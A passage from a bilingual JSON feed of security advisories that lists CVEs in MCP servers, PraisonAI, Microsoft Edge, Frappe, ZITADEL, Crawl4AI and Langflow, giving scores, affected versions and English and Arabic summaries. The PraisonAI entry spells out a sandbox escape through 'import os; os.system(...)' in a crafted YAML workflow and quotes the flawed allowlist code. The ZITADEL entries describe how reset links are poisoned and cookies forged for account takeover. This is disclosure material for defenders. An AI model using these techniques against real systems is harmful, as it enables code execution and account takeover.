host. URL-based sources also enable limited SSRF (private/loopback addresses are blocked by default unless `--allow-private-ips` is set). The misleading startup log made the exposure silent: an operator who set `MCP_API_KEY` reasonably believed the server was protected when it was not. This affects only the opt-in HTTP transport; the default `stdio` transport is unaffected. ### Patches Fixed in `@sylphx/pdf-reader-mcp@3.0.1`. The fix enforces the `X-API-Key` header with a constant-time comparison (rejecting missing/mismatched keys with HTTP 401), changes the default bind host to `127.0.0.1` (loopback), and emits a startup warning when binding a non-loopback host without an API key. ### Workarounds For deployments that cannot upgrade immediately: - Bind to loopback only: `MCP_HTTP_HOST=127.0.0.1`. - Place a reverse proxy in front that enforces authentication. - Use the default `stdio` transport instead of HTTP. - Restrict filesystem reach with `--allow-dir` / `MCP_PDF_ALLOWED_DIRS`. Reported privately by **novice-22** via responsible disclosure.","ar":"### الأثر عند تشغيل `@sylphx/pdf-reader-mcp` كخادم HTTP (`MCP_TRANSPORT=http`)، فإنه يقرأ متغيرة البيئة `MCP_API_KEY` ويسجل `API key authentication enabled (X-API-Key header)` عند بدء التشغيل، ولكنه لم يقم أبداً بالتحقق من صحة ترويسة `X-API-Key` على الطلبات الواردة. تم قراءة المفتاح إلى متغير ولم يتم فرضه مطلقاً على مسار الطلب. ونتيجة لذلك، قبلت نقطة النهاية `/mcp` طلبات دون مصادقة. بالتزامن مع عنوان الربط الافتراضي `0.0.0.0` (جميع الواجهات)، يمكن لأي عميل قادر على الوصول إلى المنفذ استدعاء كل أداة PDF وقراءة محتويات أي ملف PDF يمكن لعملية الخادم فتحها في أي مكان على المضيف. تمكّن المصادر القائمة على URL أيضاً من تنفيذ SSRF محدود (يتم حظر العناوين الخاصة/الحلقة المغلقة افتراضياً ما لم يتم تحديد `--allow-private-ips`). جعل سجل بدء التشغيل المضلل هذا التعرض غير ملحوظ: اعتقد المشغل الذي قام بضبط `MCP_API_KEY` بشكل معقول أن الخادم محمي بينما لم يكن كذلك. يؤثر هذا فقط على وسيط نقل HTTP الاختياري؛ بينما لا يتأثر وسيط النقل الافتراضي `stdio`. ### التصحيحات تم إصلاح المشكلة في `@sylphx/pdf-reader-mcp@3.0.1`. يفرض الإصلاح ترويسة `X-API-Key` بمقارنة ذات وقت ثابت (مع رفض المفاتيح المفقودة/غير المتطابقة برمز HTTP 401)، ويغير مضيف الربط الافتراضي إلى `127.0.0.1` (الحلقة المغلقة)، ويصدر تحذير بدء التشغيل عند الربط بمضيف غير حلقة مغلقة بدون مفتاح API. ### الحلول البديلة بالنسبة لعمليات النشر التي لا يمكنها الترقية فوراً: - الربط بالحلقة المغلقة فقط: `MCP_HTTP_HOST=127.0.0.1`. - وضع وكيل عكسي أمام الخادم يفرض المصادقة. - استخدام وسيط النقل الافتراضي `stdio` بدلاً من HTTP. - تقييد الوصول إلى نظام الملفات باستخدام `--allow-dir` / `MCP_PDF_ALLOWED_DIRS`. تم الإبلاغ بشكل خاص بواسطة novice-22 عبر الإفصاح المسؤول."},"refs":[["https://github.com/advisories/GHSA-q344-5v34-gm84","advisory"],["https://github.com/SylphxAI/pdf-reader-mcp/security/advisories/GHSA-q344-5v34-gm84","ref"],["https://github.com/SylphxAI/anymd/pull/332","ref"],["https://github.com/SylphxAI/anymd/commit/4c35f72862d729301e3912ab8c8317d2828cf4c2","ref"],["https://github.com/SylphxAI/anymd/releases/tag/v3.0.1","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sylphx-pdf-reader-mcp"},{"id":"CVE-2026-61438","cvss":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:34:26Z","product":"praisonai","affected":[["< 4.6.78","4.6.78"]],"title":{"en":"PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox","ar":"PraisonAI معرضة لتنفيذ أوامر عن بُعد عبر كسر بيئة AST المعزولة"},"summary":{"en":"### Summary JobWorkflowExecutor._exec_inline_python() is designed to safely execute inline Python expressions from YAML workflow script: steps using AST validation. The function claims to block dangerous operations by (a) checking all AST nodes against an allowlist, and (b) providing a __builtins__ whitelist that omits __import__, exec, eval, and open. The sandbox is broken. The module import allowlist (allowed_modules) explicitly includes 'os', and the AST allowlist permits ast.Import, ast.ImportFrom, ast.Call, and ast.Attribute nodes. This means the following malicious workflow script: step passes all AST validation checks and executes without error. Attack Scenario Attacker creates or contributes a YAML workflow file (type: job) with a script: step containing import os; os.system(...). A user or CI pipeline with PRAISONAI_ALLOW_JOB_WORKFLOWS=true executes the workflow via praisonai workflow run malicious.yaml. Arbitrary OS commands execute with the privileges of the calling process. This is particularly dangerous in multi-tenant or CI environments where YAML workflows may originate from untrusted sources (e.g., downloaded templates, shared repositories, AI-generated workflows). ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ### Impact Root Cause — Lines 364–372: pythonallowed_modules = {'os', 'datetime', 'time', 'json', 'math', 're', 'collections', 'itertools'} if isinstance(node, ast.Import): for alias in node.names: if alias.name.split('.')[0] not in allowed_modules: return {\"ok\": False, \"error\": f\"Import of '{alias.name}' not allowed...\"} os is trusted because it is commonly used for path operations (os.path, os.getcwd). However, os.system(), os.popen(), os.execvp(), os.spawn*(), and os._exit() are all accessible once the module is imported, none of which are individually blocked. The __builtins__ restriction (blocking __import__) is irrelevant because the code uses a real import statement processed…","ar":"### الملخص تم تصميم `JobWorkflowExecutor._exec_inline_python()` لتنفيذ تعبيرات Python المضمنة بأمان من خطوات سيناريو سير عمل YAML باستخدام التحقق من صحة AST. تدعي الدالة حظر العمليات الخطرة عن طريق (أ) فحص جميع العقد في AST مقابل قائمة المسموحات، و (ب) توفير قائمة مسموحات لـ `__builtins__` تحذف `__import__` و `exec` و `eval` و `open`. البيئة المعزولة (sandbox) معطلة. تتضمن قائمة مسموحات استيراد الوحدات (`allowed_modules`) صراحةً 'os'، وتسمح قائمة مسموحات AST بعقد `ast.Import` و `ast.ImportFrom` و `ast.Call` و `ast.Attribute`. هذا يعني أن خطوة السيناريو الخبيثة التالية في سير العمل تتجاوز جميع فحوصات التحقق من صحة AST وتنفذ دون خطأ. سيناريو الهجوم ينشئ المهاجم أو يساهم بملف سير عمل YAML (من نوع: job) يتضمن خطوة script تحتوي على `import os; os.system(...)`. يقوم مستخدم أو خط أنابيب CI مضبوط مع `PRAISONAI_ALLOW_JOB_WORKFLOWS=true` بتنفيذ سير العمل عبر `praisonai workflow run malicious.yaml`. يتم تنفيذ أوامر نظام التشغيل العشوائية بصلاحيات العملية المستدعية. هذا أمر خطير بشكل خاص في البيئات متعددة المستأجرين أو بيئات CI حيث قد تأتي سير عمل YAML من مصادر غير موثوقة (مثل القوالب المحملة، والمستودعات المشتركة، وسير العمل المنشأ بواسطة الذكاء الاصطناعي). ### إثبات المفهوم PoC توجيهات كاملة، بما في ذلك تفاصيل التهيئة المحددة، لإعادة إنتاج الثغرة. ### الأثر السبب الرئيسي — الأسطر 364–372: ```python allowed_modules = {'os', 'datetime', 'time', 'json', 'math', 're', 'collections', 'itertools'} if isinstance(node, ast.Import): for alias in node.names: if alias.name.split('.')[0] not in allowed_modules: return {\"ok\": False, \"error\": f\"Import of '{alias.name}' not allowed...\"} ``` يعتبر os موثوقاً لأنه يُستخدم شائعاً لعمليات المسار (`os.path` ، `os.getcwd`). ومع ذلك، فإن `os.system()` و `os.popen()` و `os.execvp()` و `os.spawn*()` و `os._exit()` يمكن الوصول إليها جميعاً بمجرد استيراد الوحدة، ولا يتم حظر أي منها بشكل فردي. قيود `__builtins__` (التي تحظر `__import__`) ليست ذات صلة لأن الشيفرة تستخدم بيان استيراد حقيقي معالج..."},"refs":[["https://github.com/advisories/GHSA-26mh-57q7-jfvr","advisory"],["https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-26mh-57q7-jfvr","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-61438","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-62248","ref"],["https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-broken-ast-sandbox","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"praisonai"},{"id":"CVE-2026-96203","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:09Z","product":"Microsoft Edge","affected":[[" – <155.0.4283.45","155.0.4283.45"]],"title":{"en":"Use after free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges over a network.","ar":"استخدام الذاكرة بعد تحريرها في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تصعيد الصلاحيات عبر الشبكة."},"summary":{"en":"Use after free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges over a network.","ar":"استخدام الذاكرة بعد تحريرها في متصفح Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تصعيد الصلاحيات عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96203","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-96192","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:08Z","product":"Microsoft Edge","affected":[[" – <155.0.4283.45","155.0.4283.45"]],"title":{"en":"Use after free in Microsoft Edge for iOS allows an unauthorized attacker to execute code over a network.","ar":"استخدام الذاكرة بعد تحريرها في Microsoft Edge لـ iOS يسمح لمهاجم غير مصرح له بتنفيذ شيفرة عبر الشبكة."},"summary":{"en":"Use after free in Microsoft Edge for iOS allows an unauthorized attacker to execute code over a network.","ar":"استخدام الذاكرة بعد تحريرها في Microsoft Edge لـ iOS يسمح لمهاجم غير مصرح له بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96192","advisory"]],"epss":0.0057,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-96199","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:08Z","product":"Microsoft Edge Chromium","affected":[[" – <154.0.4258.37","154.0.4258.37"]],"title":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) تتيح لمهاجم غير مُصَرَّح له تنفيذ شيفرة عبر الشبكة."},"summary":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) تتيح لمهاجم غير مُصَرَّح له تنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96199","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-96187","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:08Z","product":"Microsoft Edge Chromium","affected":[[" – <155.0.4283.45","155.0.4283.45"]],"title":{"en":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose informati","ar":"الوصول إلى مورد باستخدام نوع غير متوافق ('خلط الأنواع') في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له كشف معلومات"},"summary":{"en":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.","ar":"الوصول إلى مورد باستخدام نوع غير متوافق ('خلط الأنواع') في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له كشف معلومات عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96187","patch"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-96196","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-184","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:08Z","product":"Microsoft Edge Chromium","affected":[[" – <156.0.4314.50","156.0.4314.50"]],"title":{"en":"Incomplete list of disallowed inputs in Microsoft Edge (Chromium-based) allows an unauthorized attacker to bypass a security feature over a network.","ar":"قائمة غير مكتملة من المُدخلات غير المسموح بها في Microsoft Edge (المبني على Chromium) تتيح لمهاجم غير مصرح له تجاوز ميزة أمان عبر الشبكة"},"summary":{"en":"Incomplete list of disallowed inputs in Microsoft Edge (Chromium-based) allows an unauthorized attacker to bypass a security feature over a network.","ar":"قائمة غير مكتملة من المُدخلات غير المسموح بها في Microsoft Edge (المبني على Chromium) تتيح لمهاجم غير مصرح له تجاوز ميزة أمان عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96196","patch"]],"epss":0.0077,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-96198","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:20:08Z","product":"Microsoft Edge Chromium","affected":[[" – <154.0.4258.37","154.0.4258.37"]],"title":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"فيضان المخزن المؤقت المستند إلى الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة"},"summary":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"فيضان المخزن المؤقت المستند إلى الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96198","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-85890","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-415","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:19:45Z","product":"Microsoft Edge Chromium","affected":[[" – <154.0.4258.37","154.0.4258.37"]],"title":{"en":"Double free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"تحرير مزدوج للذاكرة (Double free) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة"},"summary":{"en":"Double free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"تحرير مزدوج للذاكرة (Double free) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85890","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-85897","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:19:45Z","product":"Microsoft Edge Chromium","affected":[[" – <154.0.4258.37","154.0.4258.37"]],"title":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة."},"summary":{"en":"Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","ar":"فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based buffer overflow) في Microsoft Edge (المبني على Chromium) يتيح لمهاجم غير مصرح له تنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85897","patch"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-edge"},{"id":"CVE-2026-119144","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1336","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:18:08Z","product":"frappe frappe","affected":[["16.0.0 – <16.21.0","16.21.0"],["0 – <15.111.0","15.111.0"]],"title":{"en":"Frappe Framework before 15.111.0 and 16.x before 16.21.0 Server-Side Template Injection via Message Fields","ar":"إطار عمل Frappe قبل الإصدارين 15.111.0 و 16.x قبل 16.21.0 معرض لحقن القوالب من جهة الخادم عبر حقول الرسائل"},"summary":{"en":"Frappe Framework before 15.111.0 and 16.x before 16.21.0 contains a server-side template injection vulnerability because user-controlled message fields are rendered as templates without neutralization. An authenticated attacker holding a common operational role can inject template expressions that the server evaluates in an unrestricted context.","ar":"يحتوي إطار عمل Frappe قبل الإصدارين 15.111.0 و 16.x قبل 16.21.0 على ثغرة حقن قوالب من جهة الخادم نظراً لأنه يتم تقديم حقول الرسائل التي يتحكم بها المستخدم كقوالب دون تحييد، مما يتيح لمهاجم يملك حسابًا مصادقًا عليه حقن تعبيرات قوالب ينفذها الخادم."},"refs":[["https://github.com/frappe/frappe/security/advisories/GHSA-6pmg-vc6m-6wrr","advisory"],["https://www.vulncheck.com/advisories/frappe-framework-before-15.111.0-and-16-x-before-16.21.0-server-side-template-injection-via-message-fields","advisory"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"frappe"},{"id":"CVE-2026-119127","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-640","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:18:05Z","product":"zitadel zitadel","affected":[["4.0.0 – <4.19.5","4.19.5"]],"title":{"en":"ZITADEL 4.0.0 before 4.19.5 Account Takeover via Login V2 Host Header Injection","ar":"ZITADEL الإصدار 4.0.0 قبل 4.19.5 معرض للاستحواذ على الحسابات عبر حقن رأس المضيف في واجهة تسجيل الدخول V2"},"summary":{"en":"ZITADEL 4.0.0 before 4.19.5 contains a host header injection vulnerability in the Login V2 UI that allows unauthenticated attackers to poison password-reset, invite, and email-verification links by supplying untrusted x-zitadel-public-host, x-zitadel-forward-host, or x-forwarded-host headers. Attackers knowing a victim's login name can point the links in genuine emails at their host, harvest the single-use codes when the links are opened, and take over accounts including instance administrators.","ar":"يحتوي ZITADEL 4.0.0 قبل 4.19.5 على ثغرة حقن رأس المضيف في واجهة مستخدم تسجيل الدخول V2 تسمح لمهاجمين دون مصادقة بتسميم روابط إعادة تعيين كلمة المرور والدعوات والتحقق من البريد الإلكتروني للاستحواذ على الحسابات."},"refs":[["https://github.com/zitadel/zitadel/security/advisories/GHSA-mchc-246r-6m76","advisory"],["https://www.vulncheck.com/advisories/zitadel-4.0.0-before-4.19.5-account-takeover-via-login-v2-host-header-injection","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zitadel"},{"id":"CVE-2026-119128","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-565","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:18:05Z","product":"zitadel zitadel","affected":[["4.0.0 – <4.19.5","4.19.5"]],"title":{"en":"ZITADEL 4.0.0 before 4.19.5 Login V2 Account Takeover via Forgeable verificationCheck Cookie","ar":"ZITADEL من 4.0.0 قبل 4.19.5: الاستيلاء على حساب Login V2 عبر كعكة verificationCheck القابلة للتزوير"},"summary":{"en":"ZITADEL 4.0.0 before 4.19.5 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to set the first credential of users lacking any authentication method. Attackers can compute a valid verificationCheck cookie from the user ID and browser fingerprint to set a password, register a passkey, or link an identity provider, taking over the account.","ar":"يحتوي ZITADEL من الإصدار 4.0.0 قبل 4.19.5 على ثغرة تجاوز المصادقة في واجهة مستخدم Login V2 تتيح للمهاجمين دون مصادقة تعيين أول اعتماد للمستخدمين الذين يفتقرون إلى أي وسيلة مصادقة. يمكن للمهاجمين حساب كعكة verificationCheck صالحة من معرّف المستخدم وبصمة المتصفح لتعيين كلمة مرور، أو تسجيل passkey، أو ربط مزود هوية، مما يؤدي إلى الاستيلاء على الحساب."},"refs":[["https://github.com/zitadel/zitadel/security/advisories/GHSA-84fg-x5h4-w8xv","advisory"],["https://www.vulncheck.com/advisories/zitadel-4.0.0-before-4.19.5-login-v2-account-takeover-via-forgeable-verificationcheck-cookie","advisory"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zitadel"},{"id":"CVE-2026-119119","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:18:04Z","product":"unclecode crawl4ai","affected":[["0 – <0.9.5","0.9.5"]],"title":{"en":"Crawl4AI before 0.9.5 Denial of Service via Unbounded CrawlerRunConfig Delay Fields","ar":"Crawl4AI قبل الإصدار 0.9.5 عرضة لحجب الخدمة عبر حقول تأخير CrawlerRunConfig غير المحدودة"},"summary":{"en":"Crawl4AI before 0.9.5 contains a denial of service vulnerability in the Docker API server where _clamp_untrusted() fails to cap the delay_before_return_html, mean_delay, and max_range fields of untrusted CrawlerRunConfig bodies. Unauthenticated attackers can send huge values to /crawl or /crawl/stream to hold browser pages or stall the rate limiter, exhausting the page pool and blocking other crawls.","ar":"يحتوي Crawl4AI قبل الإصدار 0.9.5 على ثغرة حجب الخدمة في خادم واجهة برمجة تطبيقات Docker حيث يفشل _clamp_untrusted() في وضع حد أقصى لحقول delay_before_return_html و mean_delay و max_range الخاصة بكيانات CrawlerRunConfig غير الموثوقة. يمكن للمهاجمين دون مصادقة إرسال قيم ضخمة إلى ⼅crawl أو ⼅crawl⼅stream للاحتفاظ بصفحات المتصفح أو إيقاف محدد معدل الطلبات، مما يؤدي إلى استنفاد تجمع الصفحات ومنع عمليات الزحف الأخرى."},"refs":[["https://github.com/unclecode/crawl4ai/security/advisories/GHSA-rhjm-7hj7-75fx","advisory"],["https://www.vulncheck.com/advisories/crawl4ai-before-0.9.5-denial-of-service-via-unbounded-crawlerrunconfig-delay-fields","advisory"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"unclecode-crawl4ai"},{"id":"CVE-2026-119120","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:18:04Z","product":"unclecode crawl4ai","affected":[["0.9.0 – <0.9.5","0.9.5"]],"title":{"en":"Crawl4AI 0.9.0 before 0.9.5 Untrusted Model Loading via CosineStrategy model_name","ar":"تحميل نموذج غير موثوق به في Crawl4AI النسخة 0.9.0 قبل النسخة 0.9.5 عبر حقل CosineStrategy model_name"},"summary":{"en":"Crawl4AI from 0.9.0 before 0.9.5 fails to filter the CosineStrategy model_name field in untrusted Docker API request bodies, allowing authenticated clients to choose which HuggingFace model the server loads. Attackers can reference a malicious repository with a pickle weight file to execute Python code under PyTorch below 2.6, or exhaust disk and memory.","ar":"تفشل إصدارات Crawl4AI من 0.9.0 إلى ما قبل 0.9.5 في تصفية حقل CosineStrategy model_name في أجسام طلبات Docker API غير الموثوقة، مما يسمح للعملاء الذين يملكون حسابًا مصادقًا عليه باختيار نموذج HuggingFace الذي يقوم الخادم بتحميله. يمكن للمهاجمين الإشارة إلى مستودع خبيث يحتوي على ملف أوزان pickle لتنفيذ شيفرة Python تحت إصدار PyTorch الأقل من 2.6، أو استنفاد القرص والذاكرة."},"refs":[["https://github.com/unclecode/crawl4ai/security/advisories/GHSA-f856-7xp9-w3cc","advisory"],["https://www.vulncheck.com/advisories/crawl4ai-0.9.0-before-0.9.5-untrusted-model-loading-via-cosinestrategy-model-name","advisory"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"unclecode-crawl4ai"},{"id":"CVE-2026-110245","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:56Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.5","1.12.5"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote attacker to obtain sensitive information due to improper authentication.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد بالحصول على معلومات حساسة بسبب المصادقة غير السليمة."},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote attacker to obtain sensitive information due to improper authentication.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد بالحصول على معلومات حساسة بسبب المصادقة غير السليمة."},"refs":[["https://www.ibm.com/support/pages/node/7293016","patch"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-107327","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:50Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.5","1.12.5"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to missing authorization.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب غياب التفويض."},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to missing authorization.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب غياب التفويض."},"refs":[["https://www.ibm.com/support/pages/node/7293016","patch"]],"epss":0.0067,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-107328","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T16:17:50Z","product":"Langflow Langflow","affected":[["1.0.0 – <1.12.5","1.12.5"]],"title":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of code in ","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب التحييد غير السليم للشيفرة في eval/exec."},"summary":{"en":"IBM Langflow OSS 1.0.0 through 1.12.4 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of code in eval/exec.","ar":"قد تسمح IBM Langflow OSS من النسخة 1.0.0 حتى النسخة 1.12.4 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بتنفيذ شيفرة عشوائية بسبب التحييد غير السليم للشيفرة في 